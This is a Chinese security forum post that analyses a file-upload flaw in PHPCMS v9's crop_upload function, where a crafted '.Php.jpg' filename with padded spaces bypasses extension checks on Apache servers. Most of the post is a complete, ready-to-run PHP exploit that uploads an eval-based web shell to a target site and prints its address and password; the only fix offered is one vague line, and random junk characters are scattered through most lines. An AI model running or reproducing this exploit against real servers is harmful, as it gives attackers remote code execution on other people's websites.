找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2207|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
0 p. O2 X9 h$ q/ A8 r$ H$ x; {7 b. k4 @
简要描述:
5 o6 o$ p: O& ?  n! I$ w. D
0 L  [3 h9 g/ d! Q& Wphpcms v9 getshell (apache)0 B% v0 i" z; W7 R! A% v
详细说明:
* U6 K3 R+ o5 }
6 a' S- ~' U( m8 I2 {" i6 F漏洞文件:phpcms\modules\attachment\attachments.php, i# X( `% [! Y1 s: P# a
  A( o0 d3 M/ ?  l+ @9 f1 Z
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
2 p- B/ t4 N- D# j. m) o$ J后缀检测:phpcms\modules\attachment\functions\global.func.php
6 ?- O8 w4 i- V" A% j# k. R
+ c) Y4 o' g+ _, O- p  y: d : h3 Q! W- G7 b8 l/ A# z3 _9 z; E
8 `! S4 ]& Y" P/ w( E! _) }+ j
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
3 i$ \: ]- ^9 d' K4 s6 X
8 n- u# W1 h( I, F1 m4 x6 p' q关键函数:" b. m+ P3 a! _2 [: o6 Q" G6 v& W6 f: L

) ^; y. Y$ }* X" R$ p) K  ?' v 2 F! F( [9 D& F7 b- n

8 S2 t  b- F) I5 X# K3 _function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  7 G9 L; [. o' R6 a  ^. q8 P2 a
) V7 W( J9 c) V; s1 i6 B$ j0 o
  Fileext函数是对文件后缀名的提取。
& L  h! a8 |. \5 {. a3 |根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
) q( D& N& Q$ o经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
  t8 b9 }6 h1 {+ w) G我们回到public function crop_upload() 函数中
2 P+ Y* v5 C7 y0 S2 Kif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();/ P8 V9 h5 u' c$ P1 Z' f
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数; W) A( X" V0 i
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。  ]6 o$ h+ f; p! v* @5 i: q( \
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
+ E9 ]& c/ |: E4 ^' w- w最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
& ?- O6 P/ G$ n看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
0 J) n  T6 `0 @6 m+ d! F9 C3 Y漏洞证明:6 L: `  e4 n) Z0 x" ]
: S$ w# o; |% w2 N" x" A) D
exp:. {1 z; ^5 d/ S# D4 T4 L0 o

) P3 ?7 M' U6 j" d5 ^4 o<?php# d1 n6 P8 T6 Y3 \) _
error_reporting(E_ERROR);
* A" S  |' j% zset_time_limit(0);$ ^, ~) e$ @! \: M
$pass="ln";' M7 n5 ^7 C" k9 R: ~( h2 [
print_r('- d, Y/ ?( U3 w% }
+---------------------------------------------------------------------------+
8 `0 P; g. E) u% i" t, w7 @; aPHPCms V9 GETSHELL 0DAY ; U% o9 I7 W& N
code by L.N.
- A! Q5 e% g* c( F8 ^
8 L2 _* Y) l) H5 ^apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
! e$ A( o. d) {0 z+---------------------------------------------------------------------------+, ^' b! K$ r# u  C  c' M" n
');
5 W) z% J9 q% t6 a) ]- J; w4 kif ($argc < 2) {
5 y* F& u) j/ S6 @) |* J4 ]; rprint_r('
. f& A8 i" ^9 `  ^+---------------------------------------------------------------------------+3 Q5 J$ j7 s: ?# {3 R3 R
Usage: php '.$argv[0].' url path
2 U9 Y5 l  ^# A! A5 e
" I3 @+ \) l# AExample:
0 ]: c: q2 K6 V7 P# G. q1.php '.$argv[0].' lanu.sinaapp.com
  a' S' p7 u3 v& K9 f7 P9 n2 h2.php '.$argv[0].' lanu.sinaapp.com /phpcms" p4 G' S* }+ z- l& ~& k, G" A7 Y
+---------------------------------------------------------------------------++ Z4 }# J: r4 i! N+ \6 [
');+ `; z" f" @# I: h4 F/ e# o0 D
exit;! v( x( r9 k7 c( C: r/ I
}0 G/ d5 R5 \+ K" `6 @  A) l
' |- g' _' g% t& @% s
$url = $argv[1];, v3 L  b$ i. A) [+ f& V0 ^& D
$path = $argv[2];
# g1 U/ y4 Y8 S+ A4 {. ]8 Z( b, u$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
6 a7 k1 W4 S9 O2 e- x5 K' r$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
3 z4 Y4 `  v3 i. @* `if($ret=Create_dir($url,$path))
" A7 T8 V2 ~( x9 ~$ ~+ |( v{
8 G( s8 \( u* K9 F3 l8 Y* c' m% k//echo $ret;3 s, O) O6 w! n$ I0 G8 U
$pattern = "|Server:[^,]+?|U";7 _! s3 A- |  Q( R6 v
preg_match_all($pattern, $ret, $matches);/ L- y2 r) q7 \; Y# t' I! j
if($matches[0][0])" c& w/ U5 t" d; A$ ~, v4 _; x. X( y
{
7 V, ^! r  W  z% A; gif(strpos($matches[0][0],'Apache') == false)! z& v6 e  W( X/ k) B# g& g
{# r% Y& O) d2 |( m- b. D  {( H7 S- n  H
echo "\n亲!此网站不是apache的网站。\n";exit;
2 c+ B. Y6 j7 ^8 O8 S2 z}  \+ }  w6 y2 |
}
0 U1 W$ H5 i. r6 B$ret = GetShell($url,$phpshell,$path,$file);
) e& ?, T4 C& F  Y; i$pattern = "|http:\/\/[^,]+?\.,?|U";
5 ^- D% L2 f" [preg_match_all($pattern, $ret, $matches);5 ]" z* V& S! E  }- Q7 F1 r# |/ C: ~
if($matches[0][0])
* G) n( ]+ ^# x( K% n: f' L{
8 Z; {4 q/ L* E3 f* R  {4 l3 m8 Jecho "\n".'密码为: '.$pass."\n";
" {7 E' e0 x+ X* ^% zecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;) a. d3 m: }' l0 C' Q3 m1 x
}+ |2 j) l) M. f4 I+ b9 o
else! V7 d. e& v5 O, g' c, b7 e
{/ {3 W' h) W" [0 @
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";% l% s9 i% R6 n; U  f& V
preg_match_all($pattern, $ret, $matches);+ z) C2 Q) S: Y. I) D6 H
if($matches[0][0])
1 Y) W' r+ ]% U1 Q  j{
7 Q+ I* u5 ^& Wecho "\n".'密码为: '.$pass."\n";! d% M8 R2 ?2 @0 F
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;" \* y; b( D* n
}
$ \/ a& }" S' ~7 `' b0 ~else
; \# T- [! [, X4 `! ?9 Q+ y, l{
/ `2 s& O% m6 H# N0 J; E- pecho "\r\n没得到!\n";exit;5 }, L, W' a: g8 p4 c2 g4 W
}
7 z0 M, x, i1 p& B* C}
& D- G; Q& a' ^}
9 B' X7 b% r2 F% J+ Q9 ?7 }3 v) e3 b: Y& c2 P$ t" Q7 z
function GetShell($url,$shell,$path,$js)
( G+ Z7 Z7 _& K{9 o0 n6 q1 x: n; Y# d9 X4 y+ r
$content =$shell;% {! ]% s* _6 f. e$ c/ g- g
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
1 d: A$ k5 l. j) |. r: [' V8 R2 x$data .= "Host: ".$url."\r\n";$ j$ g1 _2 }( r6 P
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
- U1 B/ _% M4 V0 C  L$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";* F7 T9 B! }% o- v, T! E
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
8 R# U- {4 o' V. |$ Q; d' o$data .= "Connection: close\r\n";4 E% g( t# m1 O9 Y/ T
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";4 g" I' {% x9 c0 ~. ^/ {( g8 S, k
$data .= $content."\r\n";
4 o, s7 T+ \" X1 {3 F& m5 B2 b6 v$ock=fsockopen($url,80);  [7 d7 T+ H0 {8 b% [" T
if (!$ock)
8 N; K0 s: o- C7 c{3 W* Y/ X) j. L  B: I  n
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
  p5 m" l* M2 B6 _" K0 O9 y1 o' K}
# h; `/ s! B, q4 j* f8 j; lelse  B1 T6 x# Y" D' j2 K$ e
{
/ D3 L  M0 }9 H' q- N" ]$ R5 |fwrite($ock,$data);! q# G; V9 Y- H( Y
$resp = '';
" K5 M3 c7 H. bwhile (!feof($ock))
+ p( |2 R) U/ b( B/ @{
5 k3 K1 |$ G4 w$ e$resp.=fread($ock, 1024);& C+ f& n! [% X. @  S1 i
}
, j' L! ~" t- N& C; F: Dreturn $resp;
+ z: Z! B  D. j, e}7 k5 v3 @3 V9 I
}
2 G( A* }2 l" H% C  i' J
/ @2 u. i% B* j6 @0 g/ Tfunction Create_dir($url,$path='')
% Y' Z  V5 B3 p/ a# p! f- {{
* J4 O% `) U7 k) d% i; |- G$content ='I love you';
0 ^( x+ ]8 }3 j! m- b. q: A' ?* `$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";$ O3 a/ E+ U% p4 {$ e+ {
$data .= "Host: ".$url."\r\n";; l( ^+ E& f7 k! x
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";3 M0 e3 L1 ?: v( d
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";! _+ M! D3 H4 M5 N) l
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";  d8 N; O4 j( U2 N
$data .= "Connection: close\r\n";- C0 o2 }7 x! M% _0 q
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";; J! a" i; O- O& v  \
$data .= $content."\r\n";( a3 G  x) l( @2 v* p, q3 Z& U
$ock=fsockopen($url,80);5 }% X) z. p# ]
if (!$ock)
% W6 A' g. Q6 K7 m( ]9 T{' P9 M( i& E$ t1 |2 q
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
% I6 V% Q5 Q. E1 _}# G1 z3 r$ |4 @+ R; O9 W
fwrite($ock,$data);3 c. R8 c8 m# @  R' ~0 c
$resp = '';
: D% H' g& Y" Z2 B2 ~" Awhile (!feof($ock))
6 F7 x5 T- n8 b* v{
' J. y* d8 z& D1 B: S+ b" x) ~3 q$resp.=fread($ock, 1024);. @: r+ l. ~, N' z7 q
}( \* O4 f4 N0 x
return $resp;
: |8 F: \  ?' s# S6 _}) _8 R& E8 ~  i' {- |! U0 K
?> # L$ X. M: X9 A

( `6 h$ [" R& D- O5 l修复方案:/ G/ N% `  R4 G9 T

; m, O5 _( V" e' y过滤过滤再过滤
* t' u3 [: T4 F- T6 y) u# t- B% Y+ E" E5 Y5 n" M$ j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表